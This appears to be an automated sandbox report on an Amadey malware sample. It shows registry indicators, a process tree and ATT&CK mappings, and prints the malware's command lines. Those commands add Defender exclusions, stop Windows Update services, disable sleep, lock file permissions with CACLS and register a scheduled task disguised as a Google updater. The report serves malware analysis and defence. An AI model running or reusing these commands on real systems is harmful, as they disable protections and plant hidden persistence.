amadey | 82ecd2b864229b43116466944478c474ac7ff2e8a0dd4f24df59d325953c2b30

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	winlog.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	winlog.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	winlog.exe

Downloads MZ/PE file
Stops running service(s) 3 TTPs
evasion

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Checks BIOS information in registry 2 TTPs 6 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	winlog.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	winlog.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	winlog.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	winlog.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	winlog.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	winlog.exe

Checks computer location settings 2 TTPs 3 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-4078585466-1563564224-3678410669-1000\Control Panel\International\Geo\Nation	JC_82ecd2b864229b43116466944478c474ac7ff2e8a0dd4f24df59d325953c2b30.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4078585466-1563564224-3678410669-1000\Control Panel\International\Geo\Nation	oldplayer.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4078585466-1563564224-3678410669-1000\Control Panel\International\Geo\Nation	oneetx.exe

Executes dropped EXE 20 IoCs

pid	Process
2924	oldplayer.exe
4272	ss41.exe
3184	oneetx.exe
2276	softtool.exe
2656	taskhost.exe
3004	winlog.exe
1616	msedge.exe
2204	alldata.exe
4276	taskhost.exe
816	winlog.exe
2148	msedge.exe
2984	4t.exe
3100	taskhost.exe
3020	winlog.exe
4824	msedge.exe
548	taskhost.exe
2208	taskhost.exe
2304	oneetx.exe
1892	taskhost.exe
5112	taskhost.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Checks whether UAC is enabled 1 TTPs 3 IoCs

evasion trojan

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	winlog.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	winlog.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	winlog.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 3 IoCs

pid	Process
3004	winlog.exe
816	winlog.exe
3020	winlog.exe

Suspicious use of SetThreadContext 3 IoCs

description	pid	Process	procid_target
PID 2656 set thread context of 548	2656	taskhost.exe	114
PID 4276 set thread context of 1892	4276	taskhost.exe	119
PID 3100 set thread context of 5112	3100	taskhost.exe	120

Launches sc.exe 16 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
4788	sc.exe
384	sc.exe
1940	sc.exe
4808	sc.exe
1156	sc.exe
2276	sc.exe
3484	sc.exe
3404	sc.exe
4804	sc.exe
2312	sc.exe
2236	sc.exe
3064	sc.exe
5080	sc.exe
1132	sc.exe
3240	sc.exe
3564	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

pid	Process
4988	schtasks.exe

GoLang User-Agent 1 IoCs

Uses default user-agent string defined by GoLang HTTP packages.

description	flow	ioc
HTTP User-Agent header	69	Go-http-client/1.1

Suspicious behavior: EnumeratesProcesses 16 IoCs

pid	Process
1616	msedge.exe
1616	msedge.exe
2148	msedge.exe
2148	msedge.exe
4824	msedge.exe
4824	msedge.exe
4276	taskhost.exe
4276	taskhost.exe
1616	msedge.exe
1616	msedge.exe
2912	powershell.exe
2912	powershell.exe
548	taskhost.exe
548	taskhost.exe
548	taskhost.exe
548	taskhost.exe

Suspicious behavior: LoadsDriver 1 IoCs

pid	Process
656	Process not Found

Suspicious use of AdjustPrivilegeToken 5 IoCs

description	pid	Process
Token: SeDebugPrivilege	2656	taskhost.exe
Token: SeDebugPrivilege	4276	taskhost.exe
Token: SeDebugPrivilege	3100	taskhost.exe
Token: SeDebugPrivilege	2912	powershell.exe
Token: SeDebugPrivilege	548	taskhost.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
2924	oldplayer.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4600 wrote to memory of 2924	4600	JC_82ecd2b864229b43116466944478c474ac7ff2e8a0dd4f24df59d325953c2b30.exe	88
PID 4600 wrote to memory of 2924	4600	JC_82ecd2b864229b43116466944478c474ac7ff2e8a0dd4f24df59d325953c2b30.exe	88
PID 4600 wrote to memory of 2924	4600	JC_82ecd2b864229b43116466944478c474ac7ff2e8a0dd4f24df59d325953c2b30.exe	88
PID 4600 wrote to memory of 4272	4600	JC_82ecd2b864229b43116466944478c474ac7ff2e8a0dd4f24df59d325953c2b30.exe	89
PID 4600 wrote to memory of 4272	4600	JC_82ecd2b864229b43116466944478c474ac7ff2e8a0dd4f24df59d325953c2b30.exe	89
PID 2924 wrote to memory of 3184	2924	oldplayer.exe	91
PID 2924 wrote to memory of 3184	2924	oldplayer.exe	91
PID 2924 wrote to memory of 3184	2924	oldplayer.exe	91
PID 3184 wrote to memory of 4988	3184	oneetx.exe	92
PID 3184 wrote to memory of 4988	3184	oneetx.exe	92
PID 3184 wrote to memory of 4988	3184	oneetx.exe	92
PID 3184 wrote to memory of 4004	3184	oneetx.exe	94
PID 3184 wrote to memory of 4004	3184	oneetx.exe	94
PID 3184 wrote to memory of 4004	3184	oneetx.exe	94
PID 4004 wrote to memory of 4152	4004	cmd.exe	96
PID 4004 wrote to memory of 4152	4004	cmd.exe	96
PID 4004 wrote to memory of 4152	4004	cmd.exe	96
PID 4004 wrote to memory of 3460	4004	cmd.exe	97
PID 4004 wrote to memory of 3460	4004	cmd.exe	97
PID 4004 wrote to memory of 3460	4004	cmd.exe	97
PID 4004 wrote to memory of 4496	4004	cmd.exe	98
PID 4004 wrote to memory of 4496	4004	cmd.exe	98
PID 4004 wrote to memory of 4496	4004	cmd.exe	98
PID 4004 wrote to memory of 1800	4004	cmd.exe	99
PID 4004 wrote to memory of 1800	4004	cmd.exe	99
PID 4004 wrote to memory of 1800	4004	cmd.exe	99
PID 4004 wrote to memory of 1512	4004	cmd.exe	100
PID 4004 wrote to memory of 1512	4004	cmd.exe	100
PID 4004 wrote to memory of 1512	4004	cmd.exe	100
PID 4004 wrote to memory of 2136	4004	cmd.exe	101
PID 4004 wrote to memory of 2136	4004	cmd.exe	101
PID 4004 wrote to memory of 2136	4004	cmd.exe	101
PID 3184 wrote to memory of 2276	3184	oneetx.exe	102
PID 3184 wrote to memory of 2276	3184	oneetx.exe	102
PID 3184 wrote to memory of 2276	3184	oneetx.exe	102
PID 3184 wrote to memory of 2656	3184	oneetx.exe	103
PID 3184 wrote to memory of 2656	3184	oneetx.exe	103
PID 3184 wrote to memory of 2656	3184	oneetx.exe	103
PID 3184 wrote to memory of 3004	3184	oneetx.exe	104
PID 3184 wrote to memory of 3004	3184	oneetx.exe	104
PID 3184 wrote to memory of 1616	3184	oneetx.exe	105
PID 3184 wrote to memory of 1616	3184	oneetx.exe	105
PID 3184 wrote to memory of 2204	3184	oneetx.exe	106
PID 3184 wrote to memory of 2204	3184	oneetx.exe	106
PID 3184 wrote to memory of 2204	3184	oneetx.exe	106
PID 3184 wrote to memory of 4276	3184	oneetx.exe	109
PID 3184 wrote to memory of 4276	3184	oneetx.exe	109
PID 3184 wrote to memory of 4276	3184	oneetx.exe	109
PID 3184 wrote to memory of 816	3184	oneetx.exe	107
PID 3184 wrote to memory of 816	3184	oneetx.exe	107
PID 3184 wrote to memory of 2148	3184	oneetx.exe	108
PID 3184 wrote to memory of 2148	3184	oneetx.exe	108
PID 3184 wrote to memory of 2984	3184	oneetx.exe	110
PID 3184 wrote to memory of 2984	3184	oneetx.exe	110
PID 3184 wrote to memory of 3100	3184	oneetx.exe	111
PID 3184 wrote to memory of 3100	3184	oneetx.exe	111
PID 3184 wrote to memory of 3100	3184	oneetx.exe	111
PID 3184 wrote to memory of 3020	3184	oneetx.exe	112
PID 3184 wrote to memory of 3020	3184	oneetx.exe	112
PID 3184 wrote to memory of 4824	3184	oneetx.exe	113
PID 3184 wrote to memory of 4824	3184	oneetx.exe	113
PID 2656 wrote to memory of 548	2656	taskhost.exe	114
PID 2656 wrote to memory of 548	2656	taskhost.exe	114
PID 2656 wrote to memory of 548	2656	taskhost.exe	114

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:3276
- C:\Users\Admin\AppData\Local\Temp\JC_82ecd2b864229b43116466944478c474ac7ff2e8a0dd4f24df59d325953c2b30.exe
  "C:\Users\Admin\AppData\Local\Temp\JC_82ecd2b864229b43116466944478c474ac7ff2e8a0dd4f24df59d325953c2b30.exe"
  2⤵
  - Checks computer location settings
  - Suspicious use of WriteProcessMemory
  PID:4600
- - C:\Users\Admin\AppData\Local\Temp\oldplayer.exe
    "C:\Users\Admin\AppData\Local\Temp\oldplayer.exe"
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of WriteProcessMemory
    PID:2924
  - - C:\Users\Admin\AppData\Local\Temp\207aa4515d\oneetx.exe
      "C:\Users\Admin\AppData\Local\Temp\207aa4515d\oneetx.exe"
      4⤵
      Checks computer location settings
      Executes dropped EXE
      Suspicious use of WriteProcessMemory
      PID:3184
    - - C:\Windows\SysWOW64\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN oneetx.exe /TR "C:\Users\Admin\AppData\Local\Temp\207aa4515d\oneetx.exe" /F
        5⤵
        Creates scheduled task(s)
        
        PID:4988
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k echo Y|CACLS "oneetx.exe" /P "Admin:N"&&CACLS "oneetx.exe" /P "Admin:R" /E&&echo Y|CACLS "..\207aa4515d" /P "Admin:N"&&CACLS "..\207aa4515d" /P "Admin:R" /E&&Exit
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:4004
      - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" echo Y"
        6⤵
        
        PID:4152
      - C:\Windows\SysWOW64\cacls.exe
        
        CACLS "oneetx.exe" /P "Admin:N"
        6⤵
        
        PID:3460
      - C:\Windows\SysWOW64\cacls.exe
        
        CACLS "oneetx.exe" /P "Admin:R" /E
        6⤵
        
        PID:4496
      - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" echo Y"
        6⤵
        
        PID:1800
      - C:\Windows\SysWOW64\cacls.exe
        
        CACLS "..\207aa4515d" /P "Admin:N"
        6⤵
        
        PID:1512
      - C:\Windows\SysWOW64\cacls.exe
        
        CACLS "..\207aa4515d" /P "Admin:R" /E
        6⤵
        
        PID:2136
    - - C:\Users\Admin\AppData\Local\Temp\1000434001\softtool.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1000434001\softtool.exe"
        5⤵
        Executes dropped EXE
        
        PID:2276
      - C:\Users\Admin\AppData\Local\Temp\1000434001\softtool.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1000434001\softtool.exe"
        6⤵
        
        PID:4008
    - - C:\Users\Admin\AppData\Local\Temp\1000397001\taskhost.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1000397001\taskhost.exe"
        5⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:2656
      - C:\Users\Admin\AppData\Local\Temp\1000397001\taskhost.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1000397001\taskhost.exe"
        6⤵
        Executes dropped EXE
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:548
    - - C:\Users\Admin\AppData\Local\Temp\1000398001\winlog.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1000398001\winlog.exe"
        5⤵
        Identifies VirtualBox via ACPI registry values (likely anti-VM)
        Checks BIOS information in registry
        Executes dropped EXE
        Checks whether UAC is enabled
        Suspicious use of NtSetInformationThreadHideFromDebugger
        
        PID:3004
    - - C:\Users\Admin\AppData\Local\Temp\1000399001\msedge.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1000399001\msedge.exe"
        5⤵
        Suspicious use of NtCreateUserProcessOtherParentProcess
        Executes dropped EXE
        Suspicious behavior: EnumeratesProcesses
        
        PID:1616
    - - C:\Users\Admin\AppData\Local\Temp\1000435001\alldata.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1000435001\alldata.exe"
        5⤵
        Executes dropped EXE
        
        PID:2204
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -nologo -noprofile
        6⤵
        
        PID:1328
      - C:\Users\Admin\AppData\Local\Temp\1000435001\alldata.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1000435001\alldata.exe"
        6⤵
        
        PID:5096
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -nologo -noprofile
        7⤵
        
        PID:3256
    - - C:\Users\Admin\AppData\Local\Temp\1000398001\winlog.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1000398001\winlog.exe"
        5⤵
        Identifies VirtualBox via ACPI registry values (likely anti-VM)
        Checks BIOS information in registry
        Executes dropped EXE
        Checks whether UAC is enabled
        Suspicious use of NtSetInformationThreadHideFromDebugger
        
        PID:816
    - - C:\Users\Admin\AppData\Local\Temp\1000399001\msedge.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1000399001\msedge.exe"
        5⤵
        Executes dropped EXE
        Suspicious behavior: EnumeratesProcesses
        
        PID:2148
    - - C:\Users\Admin\AppData\Local\Temp\1000397001\taskhost.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1000397001\taskhost.exe"
        5⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4276
      - C:\Users\Admin\AppData\Local\Temp\1000397001\taskhost.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1000397001\taskhost.exe"
        6⤵
        Executes dropped EXE
        
        PID:2208
      - C:\Users\Admin\AppData\Local\Temp\1000397001\taskhost.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1000397001\taskhost.exe"
        6⤵
        Executes dropped EXE
        
        PID:1892
    - - C:\Users\Admin\AppData\Local\Temp\1000436001\4t.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1000436001\4t.exe"
        5⤵
        Executes dropped EXE
        
        PID:2984
    - - C:\Users\Admin\AppData\Local\Temp\1000397001\taskhost.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1000397001\taskhost.exe"
        5⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        Suspicious use of AdjustPrivilegeToken
        
        PID:3100
      - C:\Users\Admin\AppData\Local\Temp\1000397001\taskhost.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1000397001\taskhost.exe"
        6⤵
        Executes dropped EXE
        
        PID:5112
    - - C:\Users\Admin\AppData\Local\Temp\1000398001\winlog.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1000398001\winlog.exe"
        5⤵
        Identifies VirtualBox via ACPI registry values (likely anti-VM)
        Checks BIOS information in registry
        Executes dropped EXE
        Checks whether UAC is enabled
        Suspicious use of NtSetInformationThreadHideFromDebugger
        
        PID:3020
      - C:\Users\Admin\AppData\Roaming\NTSystem\ntlhost.exe
        
        C:\Users\Admin\AppData\Roaming\NTSystem\ntlhost.exe
        6⤵
        
        PID:5080
    - - C:\Users\Admin\AppData\Local\Temp\1000399001\msedge.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1000399001\msedge.exe"
        5⤵
        Executes dropped EXE
        Suspicious behavior: EnumeratesProcesses
        
        PID:4824
- - C:\Users\Admin\AppData\Local\Temp\ss41.exe
    "C:\Users\Admin\AppData\Local\Temp\ss41.exe"
    3⤵
    - Executes dropped EXE
    PID:4272
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2912
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  PID:1800
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  PID:2020
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc
  2⤵
  PID:4168
- - C:\Windows\System32\sc.exe
    sc stop UsoSvc
    3⤵
    - Launches sc.exe
    PID:2312
- - C:\Windows\System32\sc.exe
    sc stop WaaSMedicSvc
    3⤵
    - Launches sc.exe
    PID:384
- - C:\Windows\System32\sc.exe
    sc stop wuauserv
    3⤵
    - Launches sc.exe
    PID:1940
- - C:\Windows\System32\sc.exe
    sc stop bits
    3⤵
    - Launches sc.exe
    PID:4808
- - C:\Windows\System32\sc.exe
    sc stop dosvc
    3⤵
    - Launches sc.exe
    PID:2236
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc
  2⤵
  PID:1680
- - C:\Windows\System32\sc.exe
    sc stop UsoSvc
    3⤵
    - Launches sc.exe
    PID:3240
- - C:\Windows\System32\sc.exe
    sc stop WaaSMedicSvc
    3⤵
    - Launches sc.exe
    PID:4788
- - C:\Windows\System32\sc.exe
    sc stop wuauserv
    3⤵
    - Launches sc.exe
    PID:5080
- - C:\Windows\System32\sc.exe
    sc stop bits
    3⤵
    - Launches sc.exe
    PID:3064
- - C:\Windows\System32\sc.exe
    sc stop dosvc
    3⤵
    - Launches sc.exe
    PID:1156
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
  2⤵
  PID:2836
- - C:\Windows\System32\powercfg.exe
    powercfg /x -hibernate-timeout-ac 0
    3⤵
    PID:4028
- - C:\Windows\System32\powercfg.exe
    powercfg /x -hibernate-timeout-dc 0
    3⤵
    PID:4828
- - C:\Windows\System32\powercfg.exe
    powercfg /x -standby-timeout-ac 0
    3⤵
    PID:4004
- - C:\Windows\System32\powercfg.exe
    powercfg /x -standby-timeout-dc 0
    3⤵
    PID:4892
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#qbjrr#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; }
  2⤵
  PID:1072
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#qbjrr#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; }
  2⤵
  PID:4488
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
  2⤵
  PID:2260
- - C:\Windows\System32\powercfg.exe
    powercfg /x -hibernate-timeout-ac 0
    3⤵
    PID:112
- - C:\Windows\System32\powercfg.exe
    powercfg /x -hibernate-timeout-dc 0
    3⤵
    PID:1380
- - C:\Windows\System32\powercfg.exe
    powercfg /x -standby-timeout-ac 0
    3⤵
    PID:4820
- - C:\Windows\System32\powercfg.exe
    powercfg /x -standby-timeout-dc 0
    3⤵
    PID:4020
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc
  2⤵
  PID:1236
- - C:\Windows\System32\sc.exe
    sc stop UsoSvc
    3⤵
    - Launches sc.exe
    PID:1132
- - C:\Windows\System32\sc.exe
    sc stop WaaSMedicSvc
    3⤵
    - Launches sc.exe
    PID:2276
- - C:\Windows\System32\sc.exe
    sc stop wuauserv
    3⤵
    - Launches sc.exe
    PID:3564
- - C:\Windows\System32\sc.exe
    sc stop bits
    3⤵
    - Launches sc.exe
    PID:3484
- - C:\Windows\System32\sc.exe
    sc stop dosvc
    3⤵
    - Launches sc.exe
    PID:3404
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#qbjrr#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; }
  2⤵
  PID:2132
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
  2⤵
  PID:2992
- - C:\Windows\System32\powercfg.exe
    powercfg /x -hibernate-timeout-ac 0
    3⤵
    PID:3460
- - C:\Windows\System32\powercfg.exe
    powercfg /x -hibernate-timeout-dc 0
    3⤵
    PID:3240
- - C:\Windows\System32\powercfg.exe
    powercfg /x -standby-timeout-ac 0
    3⤵
    PID:2144
- - C:\Windows\System32\powercfg.exe
    powercfg /x -standby-timeout-dc 0
    3⤵
    PID:1020
- C:\Windows\System32\schtasks.exe
  C:\Windows\System32\schtasks.exe /run /tn "GoogleUpdateTaskMachineQC"
  2⤵
  PID:512
- C:\Windows\System32\schtasks.exe
  C:\Windows\System32\schtasks.exe /run /tn "GoogleUpdateTaskMachineQC"
  2⤵
  PID:3824
- C:\Windows\System32\schtasks.exe
  C:\Windows\System32\schtasks.exe /run /tn "GoogleUpdateTaskMachineQC"
  2⤵
  PID:4964
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  PID:3780
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc
  2⤵
  PID:2364
- - C:\Windows\System32\sc.exe
    sc stop UsoSvc
    3⤵
    - Launches sc.exe
    PID:4804

C:\Users\Admin\AppData\Local\Temp\207aa4515d\oneetx.exe
C:\Users\Admin\AppData\Local\Temp\207aa4515d\oneetx.exe
1⤵
- Executes dropped EXE
PID:2304

C:\Program Files\Google\Chrome\updater.exe
"C:\Program Files\Google\Chrome\updater.exe"
1⤵
PID:1904

C:\Users\Admin\AppData\Local\Temp\207aa4515d\oneetx.exe
C:\Users\Admin\AppData\Local\Temp\207aa4515d\oneetx.exe
1⤵
PID:864

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

Defense Evasion

Impair Defenses

T1562

Virtualization/Sandbox Evasion

T1497

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Query Registry

System Information Discovery